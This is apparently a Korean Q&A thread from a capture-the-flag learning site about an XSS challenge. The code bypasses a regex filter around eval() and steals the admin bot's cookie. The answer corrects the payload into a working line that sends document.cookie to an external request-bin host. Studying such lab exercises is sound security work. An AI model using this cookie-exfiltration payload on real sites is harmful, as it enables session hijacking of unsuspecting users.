JSFuck을 꼭 사용해야 하나요?
const recommend = (age) => {
      if (age.match(/[a-zA-Z\\&#;%*$=]/g)) {
        alert('nope! ⊂(・﹏・⊂)');
        window.history.back()
      }

      eval(`msg.innerHTML='This is recommended album for ${age}-year-old.'`);

이 부분에서 age에 '+alert(1)+' 을 삽입하면 JSFuck을 사용하지 않아도
nope! ⊂(・﹏・⊂) 후에 alert(1)이 실행되더라구요. (alert가 두 개 뜸)

그래서 JSFuck 사용하지 않고

age에 쿠키 탈취하는 구문을 넣어서 id 받고 /saved에서 id 파라미터에 넣어주면 동작하는데,

/report에서 127.0.0.1:3000/saved?id={받은 id} 요청하면 이건 또 안되는데 왤까요?

근데 또 /saved에서 JSFuck 인코딩 후 받은 id를 report하면 이건 또 동작해요

왤까용


++

궁금한 거 하나 더 있는데

eval(msg.innerHTML='This is recommended album for ' + location.href="https://kckustq.request.dreamhack.games?c="+ document.cookie + '-year-old.');

이건 왜 동작 안하는지 아시나요

#web
작성자 정보
답변 1
avatar
limelee
강의 수강: 10
이 부분에서 age에 '+alert(1)+' 을 삽입하면 JSFuck을 사용하지 않아도
nope! ⊂(・﹏・⊂) 후에 alert(1)이 실행되더라구요. (alert가 두 개 뜸)

=> window.history.back() 는 코드 블록이 모두 실행된 후에 반영되므로, alert(1) 이 먼저 실행됩니다.


그래서 JSFuck 사용하지 않고

age에 쿠키 탈취하는 구문을 넣어서 id 받고 /saved에서 id 파라미터에 넣어주면 동작하는데,

/report에서 127.0.0.1:3000/saved?id={받은 id} 요청하면 이건 또 안되는데 왤까요?

근데 또 /saved에서 JSFuck 인코딩 후 받은 id를 report하면 이건 또 동작해요

=> 정확히 어떤 구문을 넣었고 어떤 게 문제인 상황인지 모르겠습니다.


궁금한 거 하나 더 있는데

eval(msg.innerHTML='This is recommended album for ' + location.href="https://kckustq.request.dreamhack.games?c="+ document.cookie + '-year-old.');

이건 왜 동작 안하는지 아시나요

=> 'This is recommended album for ' + location.href="https://kckustq.request.dreamhack.games?c="+ document.cookie + '-year-old.'
앞부분이 연산식으로 해석되어서 에러가 발생합니다.(a + b = c + d)

소괄호로 묶어주시면 해결됩니다.
msg.innerHTML= 'This is recommended album for ' +(location.href="https://kckustq.request.dreamhack.games?c="+ document.cookie) + '-year-old.'

2024.11.11. 18:23
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기